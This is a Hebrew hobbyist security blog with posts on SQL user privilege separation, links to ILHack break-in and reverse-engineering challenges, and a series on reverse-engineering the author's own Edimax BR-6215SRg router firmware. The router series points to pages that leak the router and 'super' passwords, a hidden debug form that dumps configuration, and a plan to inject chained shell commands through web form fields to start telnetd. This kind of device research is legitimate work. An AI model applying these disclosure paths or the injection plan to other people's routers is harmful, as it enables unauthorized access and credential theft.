כל איש אבטחה יודע שהדבר הראשון שעושים זה "הפרדת סמכויות" כי בסופו של דבר, לא משנה כמה ה firewall שלך חוסם כל תעבורה וכל התוכנות שאתה משתמש בהן לא פגיעות, אם ל guest account שלך יש הרשאות root, יהיה לך גהנום בשרת 🙂
בכל שרת sql בתחום יש שמות משתמש וססמאות, יתרה מכך, לכל שרת יש תמיכה באפשרויות הגבלת גישה מתקדמות.
אז למה אנשים לא משתמשים ב user אחד בשביל לקרוא\לכתוב מהטבלאת משתמשים, ביוזר אחר בשביל לקרוא מידע וביוזר אחרון בשביל לכתוב מידע? (כאשר מידע = הכל חוץ מטבלאות משתמשים) או אפילו אם צריך לפצל את זה עוד יותר (לדוגמא מידע אישי רגיש יהיה מפוצל מהבלוג של האתר).

ההנחה שלי היא: עצלנות.

אומנם הפתרון הזה לא ימנע sql injection אבל הוא בהחלט ימנע את גודל הנזק אם בכלל שיהיה אפשר לעשות עם הפרצה. הרי רוב ה"שדות הפגיעים" נמצאים ב headers של HTTP או שדות אחרים שנועדו לאחזור מידע, השדות של הססמה, שם משתמש או כתיבת מידע בד"כ בטוחים. (אנשים שמים יותר דגש). בנוסף, נניח ומישהו מצא פגיעות בשדה אחד, זה גורר פגיעות רק בחלק הממודר הספציפי של האתר, ולא בחלק אחר שתחת יוזר sql אחר.לכן, כמו בכל תחום אחר באבטחת השרת שלכם, גם פה כדאי להשקיע קצת ולבחור חלוקת גישות בצורה חכמה.

אני מקווה שתפיקו לקחים ותיישמו, כי בסופו של דבר, זה השרת שלכם.

הערה חשובה:
אני יודע שלא תמיד יש לכם גישה ליצירת גישות (לדוגמא שרת חינמי) אבל כל עוד אתם משלמים על השרת, זכותכם לדרוש כמה יוזרים שתרצו! ככה שזה לא תירוץ!!!

הבהרה קטנה:
אמרו לי שלא הבהרתי מספיק טוב את עמדתי לגבי הנושא, אז הבהרה קטנה:
אני לא חושב שבכלל צריך להגיע למצב שבו ליוזרים השונים ב DB יש משמעות אמיתי, כלומר, כמו שכתבתי בהקדה, אני לא רואה איף בכלל אפשר להגיע למצב העגום שבו יש לך SQL Injection בקוד, או בקיצור, תכתבו נכון ותכתבו בטוח ותחסכו לעצמכם בעיות. אבל תמיד טובה עוד שכבת הגנה 🙂

23 Comments :, , , , more...

אחד האתגרים מILHack

by on מאי.24, 2009, under כללי

מי שרוצה את האתגר, ולא יצא לו להביא מחשב נייד,
או לא יצא לו להעתיק את זה כמו שצריך.
אז הנה האתגר פריצה מהכנס:
http://de-ice.hackerdemia.com/doku.php
תקראו את הScenarios, ותהנו…
יש שם גם פתרונות בוידאו, אבל תנסו קודם בעצמכם,
בהצלחה.
עריכה:
קישור שעובד: http://heorot.net/instruction/tutorials/iso/de-ice.net-1.100-1.1.iso

עריכה:
אתגר נוסף מILHack, ההוא עם פריצה של קבצי EXE בעזרת Reverse Engineering אפשר להוריד מכאן:
http://iamverygood.notlong.com
הצלחה באתגר הזה יכולה להביא לכם עבודה טובה בתחום…

7 Comments :, , , , more...

Reversing, והכוח של זה

by on אפר.08, 2009, under כללי

בהמשך לפרק הקודם, היום אני הולך להראות לכם מה מצאתי במערכת הקבצים של הFirmware הבינארי שהורדתי מהאינטרנט.
דבר ראשון נתחיל מהאתר וקבצי הASP שלו, שאני יכול לגלוש אליהם כמובן דרך ממשק הניהול.

ממשק הWeb

רשימת קבצים

רשימת קבצים

רשימת הקבצים שמצאתי נמצאת כאן בתמונה.

דברים מעניינים שקופצים ישר לעין:

  • x.asp

נראה כאילו הוא אמור להציג סיסמה כלשהיא, ננסה להכנס לדף ישירות דרך הנתב:
http://192.168.2.1/x.asp
ומקבלים לא רק את הסיסמה שלי להתחברות לנתב, אלא גם את הסיסמה של איזשהו משתמש super.
מה?! אתם בטח צוחקים עלי….

x.asp

x.asp

ניסיתי להתחבר לממשק עם המשתמש super, והסיסמה שיש שם, אבל זה לא נתן לי להתחבר, צריך עוד לראות איפה משתמשים בזה.
(ד"א הסיסמה מצונזרת בכוונה)

  • test.asp

לא נראה מעניין יתר מדי,
נראה כמו חלק מהממשק הוספת שיתוף בNAS.

  • users

קובץ שמכיל את הרשימה הבאה:

 User1
 User2
 user3
 user4
 user5
 user6
 user7
 user8
 user9

האל יודע למה, בינתיים לא מצאתי לזה שימוש או הגיון.

  • flash.asp

נראה כאילו זה הדף שדרכו אחרי זה עושים flash לחומרה, לפחות כאן אני יכול לראות מה הגרסת Firmware שלי.
שזה 2.15, קצת יותר ישן מהכי חדש שהורדתי מהאינטרנט (2.21), ז"א לפני שאני משחק עם זה בהתבסס על 2.21 צריך לעדכן את הנתב שלי.

  • getflash.asp

מביא קצת יותר פרטים, נותן את הMacים והRegulation Domain (מישהו יודע מה זה?)
אצלי זה עומד על ETST 1-13(Europe)

  • debug.asp

נראה ממש מעניין, מכיל טופס של פקודה command וכפתור apply.
משחקים עם הטופס לא הניבו כלום, הוא כל פעם כותב Invalid value of command.
מה שעוד יותר מוזר זה שאני לא רואה בסורס של debug.asp איפה כל הלוגיקה של מה שקורה אחרי שעושים Submit.
מבדיקה של הטופס עולה כי הוא שולח את זה למקום לא ברור, וגם לא קיים פיזית:

<form action=/goform/formDebug method=POST name="debug">
.
.
</form>

מה זה goform?? מאיפה זה בא?
http://home.postech.ac.kr/~sion/cs499a/webserver/web/over/goforms.htm
מצוין, זה אומר שהטופס הזה מקומפל בתור קוד C לתוך השרת web שלנו.
מצד אחד זה טוב, קוד C בדרך כלל לא כלכך אמין.
מצד שני זה רע, אני אצטרך לעשות Reversing לשרת כדי לראות מה הולך מאחורי כל סקריפט.

Reversing webs

formDebug

formDebug

טוב, אז ניקח את הבינארי של השרת Web, ונראה מה אנחנו יכולים לשלוף ממנו.
לפי מה שהבנתי מהתיעוד, כדי לרשום טופס חדש צריך לקרוא לwebFormDefine.
בואו נראה אם אנחנו יכולים לראות מי קורא לזה ועם איזה פרמטרים.
כמובן שזה מקומפל בלי Symbols, אז זה לא יהיה כזה פשוט, אפשר לנסות לגשת מצד אחר,
כדי לרשום טופס צריך להביא את השם שלו בתור מחרוזת, ז"א אם נוציא את השם של הטופס מתוך debug.asp
אז נוכל למצוא את המקום בקוד שרושם אותו.
השם של הטופס זה formDebug.
מגיעים לפונקצייה שהוא רושם, מסמנים אותה כפוקנצייה שמטפלת בformDebug, ומסתכלים מה היא עושה.
נראה כאילו הפונקצייה בודקת שהפקודה זה "report.txt", ואז מייצרת לוג של הרבה מאד פקודות מערכת, ונותנת אותו להורדה.
כמובן ה"נראה כאילו" לקח כמה זמן להבין, אני לא הולך להציג כאן את כל הקוד, זה פשוט הרבה אסמבלי.
בכל מקרה בדיקה של התיאוריה מול הנתב באמת אישרה את זה, רשמתי בפקודה report.txt, וקיבלתי קובץ להורדה עם מלא מידע.
כל ההגדרות רשת, ההגדרות נתב, כל המידע השותף שמשתנה בזמן הניהול, הוא זרק לי אותו בRaw Text.
נקודה מעניינת שראיתי, שהוא קורא הרבה ל_system בקוד שלו.

המשך עבודה

  • מה הוא עושה עם הסיסמא של super?
  • למצוא עוד דברים מעניינים בממשק Web.
  • למצוא קריאה ל_system שמקבלת מחרוזת שמורכבת מפרמטרים שאני מביא בקלט של הטפסים, כדי לאפשר לי הרצת פקודות ע"י שרשור פקודות לינוקס לפרמטרים בממשק Web.
  • מי שרוצה מוזמן להוריד את דפי הASP והבינארי של שרת הWEB מכאן: http://www.filesonic.com/file/2125608961/Edimax.Web.2.21.zip

אשמח לתגובות, רעיונות או כל דבר אחר שיש לכם להגיד…

11 Comments :, , , , , , , more...

מסע אל בטן הנתב

by on מרץ.22, 2009, under כללי

יש התקדמות!
אני אשתדל לקצר כי יש ממש הרבה דברים שעשיתי, ואני מקווה שהקיצור לא יפגע בעניין והבנה של אנשים,
אם יש שאלות תמיד אפשר לשאות בתגובות, או בערוץ IRC.
בחרתי להשתמש בSlax 6.0.9 כדי לקמפל את הFirmware.

קימפול הסורס מהאתר של Edimax

הוראות פשוטות, פותחים את הtgz, נכנסים פנימה, לתוך תיקיית toolchain, ופותחים את הtgz שם לתוך "/" כך שישתלב במערכת.
מוחקים את build.tmp מהתיקיית מקור, ומריצים את NAS-BUILD.
כמובן ששום דבר לא פועל ישר בלינוקס, וצריך להתעסק עם כל החרא הזה.
אז נתחיל…
דבר ראשון אחרי הסתכלות בNAS-BUILD הבנתי שהוא עושה סוג של Clean וConfigure אם הוא לא מוצא את build.tmp.
עד כאן טוב ויפה חוץ מהעובדה שאפילו בזה הוא נכשל…
הוא נופל לי על זה שהוא לא מוצא את הפקודה rcsclean, ששייכת לחבילת ניהול קוד או משהו כזה.
טוב לא נורא, מורידים את slackpkg מתוך הRepository של Slackware, ומתקינים עם pkgtool שכבר יש בSlax.
אחרי הגדרת slackpkg שכלל בחירת Mirror, והורדה והתקנה של gnupg, ועדכון המפתח gpg שלו, אפשר להתקין את מה שאנחנו צריכים.

slackpkg update
slackpkg install gnupg
slackpkg update gpg
slackpkg install rcs

מוחקים את build.tmp שוב ומריצים NAS-BUILD.
הפעם נראה שהוא עשה מה שצריך.
עכשיו נשאר רק לבנות, מריצים את NAS-BUILD שוב, הוא שואל אותנו גרסה וכל זה, אנחנו משאירים הכל רגיל.
עכשיו אני לא הולך לפרט את כל השואה שעברתי כדי לגרום לזה להתקמפל, אני רק הולך לכתוב את זה בסעיפים, ואיפה התיקונים שעשיתי.

  • busybox-1.00-pre2 לא מתקמפל

צריך להכנס לתיקייה שלו בתוך AP ולערוך את .config ולשנות את CONFIG_LFS=y לCONFIG_LFS=n.

  • busybox-1.1.0 לא מתקמפל

אותו דבר כמו הקודם, רק הפעם צריך להפוך לn גם את FDISK_SUPPORT_LARGE_DISKS.

  • dosfstools-2.11 לא מתקמפל

צריך לערוך את Makefile בתיקייה שלו בתוך AP/dosfstools-2.11 ולהוריד את התוספת של OFFSET_BITS=64 (כל הערך החל מ-D)

  • libpcap-0.7.2 לא מתקמפל

צריך להתקין את bison ואת flex בעזרת slackpkg

  • ppp-2.4.1 לא מתקמפל, צועק על pcap_parse

צריך ללכת לתיקייה של AP/libpcap-0.7.2 לערוך את הMakefile כך שהשורות שמכילות את lex ואת yacc יכלו את הערכים הבאים:

LEX = lex -Ppcap_
YACC = yacc -p pcap_
  • vsftpd-2.0.4 לא מתקמפל

צריך לערוך את הקוד מקוד שנמצא בAP/vsftpd-2.0.4/sysutil.c
ולעשות Comment-Out לקוד שמגדיר את הDefines בקבוצה של OFFSET_BITS=64…

יש! זה התקמפל!!!! (אצלי לפחות)
ובנה את הImage שיושב בimage/NAS_Router/NAS-1.21.bin.
רגע…… 1.21??? הבינארי מהאינטרנט מהאתר של Edimax שזה 2.21, והוא גם יותר גדול.
כלבים, המקור לא מעודכן,
עד כאן!!

Reversing של הBinary של הFirmware

אחרי מעבר על כל NAS-BUILD וכל הסקריפטים שהוא משתמש בהם,
הבנתי שהFirmware מורכב מKernel ומהRoot File System שמחוברים יחד באיזה פורמט לא ברור שמיוצר ע"י קובץ בינארי. (cvimg)
בואו נראה לאיפה נכנס הקרנל שייצרנו בעצמו לתוך הimg שהצלחנו ליצור.
אפשר לראות שכל הקרנל (bzImage) בשלמותו יושב בתוך הimg הסופי ומתחיל באיזה כותרת, שמכילה את הגודל שלו, ומסתיים בעוד תוספת של 4 בתים כחלק מהגודל שכתוב בגודל.
ז"א את הקרנל אנחנו יודעים איך להוציא, ניגש לעניין.
פותחים את הimg הבינארי מהאתר עם עורך Hex ושולפים מתוכו את הKernel אחרי הכותרת, ועד האורך שמצויין פחות 4 בתים.
האורך שכתוב לנו זה 00120C18.
עכשיו צריך לראות איך שולפים את המערכת קבצים, לפי הסקריפטים שמייצרים את הimg שאנחנו הצלחנו ליצור,
הוא מייצר את המערכת קבצים בתור קובץ Image שמכיל מערכת קבצים ext2, אחרכך מכווץ אותו עם lzma ופשוט מחבר אותו לסוף הFirmware.
אז בואו נוציא את המערכת קבצים מהבינארי של Edimax.
הולכים למקום אחרי הKernel ומתחילים להעתיק משם עד סוף הקובץ החוצה עם עורך Hex, ושומרים את זה כקובץ נפרד.
מעבירים אותו ללינוקס, פותחים את הכיווץ בעזרת אותו lzma (פרמטר d) ומקבלים קובץ בגודל 11 מגה בערך.
משמעותית יותר גדול ממה שהיה לנו (8 פתוח, 1.5 מכווץ)
עכשיו אפשר למפות את הקובץ בתור כונן בלינוקס וסופסוף לראות מה יש שם.

mkdir /mnt/rootfs
mount -o loop extracted_rootfs.img /mnt/rootfs

בואו נכנס ונראה מה יש שם.
כמה דברים שקופצים ישר לעין:

  • יש תקייה ב/ שקוראים להweb שמכילה את כל המקור של האתר! 🙂
  • תיקייה /bin מלאה בסקריפטים לשימוש בחומרה והחלת הגדרות וכו'
  • תיקייה /etc גם מכילה דברים מעניינים יותר ממה שהיה לנו.

האפשרויות שעומדות בפני

  • יש לי את המקור ASP של האתר! אני יכול לחפש באגים בסקריפטים ולנסות להריץ Shell Commands.
  • יש לי את המערכת קבצים העדכנית, וקומפילר שמסוגל לקמפל למעבד שיש שם (RDC 3210), להוסיף תוכנות לא אמורה להיות בעיה גדולה מדי.
  • אולי אני אתקין עליו Python? 🙂
  • ראיתי שיש שם כבר Busybox עם telnetd שאפשר להריץ ברגע שיהיה לי Shell Command Execution.
  • עדיף לי בינתיים למצוא איך לשבור אותו בלי להתקין Firmware חדש כדי לא להסתכן בBricking של המכשיר, אז פוסט הבא יהיה כנראה על באגים בממשק Web של Edimax…

שאלות? תגובות?

10 Comments :, , , , , , , more...

פרוייקט פריצת נתב

by on מרץ.20, 2009, under כללי

מבוא

עכשיו שיצא לי ללמוד קצת יותר לעומק על לינוקס, הקרנל שלו, ואיך כל הדברים עובדים,
הגיע הזמן לקחת את הנתב שקניתי שהוא גם NAS, שמו בישראל Edimax BR-6215SRg, ולפרוץ אותו.
זה הולך להיות בשלבים, ואני אעדכן אותכם כל פעם שתיהיה התקדמות משמעותית…

מטרות

  • השגת גישה של SSH לרואטר שלי

שבירת הממשק Web
שידרוג הFirmware למשהו שאני אבנה

  • קימפול דברים חדשים למכשיר

BitTorrent
aMule

  • לראות אם אפשר להתקין ממשק נורמלי לראוטר

OpenWRT
DD-WRT

ביצוע

מה כבר יש באינטרנט?

יש כבר Firmware קיים לכל מיני נתבים שמאפשר להחליף את הFirmware למשהו OpenSource ופתוח.

הבעיה היא שהרואטר שיש לי לא בדיוק נתמך עדיין, לא בצורה מספיק טובה כדי להסביר איך מתקינים,
וכדי שיהיה כתוב "כן, זה עובד".
חוץ מזה לא ראיתי באינטרנט נסיונות לפרוץ את הראוטר הזה דווקא.
אז נשארתי רק עם לנסות בעצמי.

האם אפשר לדפוק את הממשק Web

חשבתי לנסות לפרוץ אליו דרך הממשק Web ולהשיג הרצת קוד.
אחרי שחרשתי על הממשק Web, ראיתי שאין כלכך איפה לתת פקודות.
אז בדקתי איזה שרת Web הוא מריץ וחשבתי לנסות לפרוץ אותו עם איזה Remote Code Execution.
ואז הבנתי, זה לא x86, אין לי מושג איך אני מריץ שם קוד, איזה קוד, יש שם בכלל מחסנית?!
במציאות הוא רץ על מעבד RDC 3210.

מה עם קוד מקור למערכת

למזלי, המערכת מריצה לינוקס לכן חלקים נכבדים שם בקוד פתוח,
אז יש הורדה מהאתר של Edimax של הקוד מקור של המערכת.
http://www.edimax.com/images/Image/OpenSourceCode/Wireless/Router/BR-6215SRg/NAS-GPL-BR-6215SRg.tar.gz
עכשיו צריך לשחק איתו ולראות אם אני מצליח למצוא שם איך לפרוץ אותו,
או איך לקמפל את כל הסיפור הזה מחדש עם השינויים שאני רוצה להכניס.

בפעם הבאה

  • נראה אם אני מצליח לקמפל את כל המערכת ממצב של קוד מקור למצב של Firmware Image שאפשר לעשות איתו Upgrade.
  • אם כן, אני צריך למצוא איפה הוא מרכיב את הRoot Filesystem, להוסיף לשם שרת SSH אם אין
  • לערוך סקריפטי עלייה ולהוסיף שם הפעלה של שרת SSH
  • לוודא שבiptables יש לי גישה לפורט 22
4 Comments :, , , , , , more...

מחפש משהו?

תשתמש בטופס למטה כדי לחפש באתר: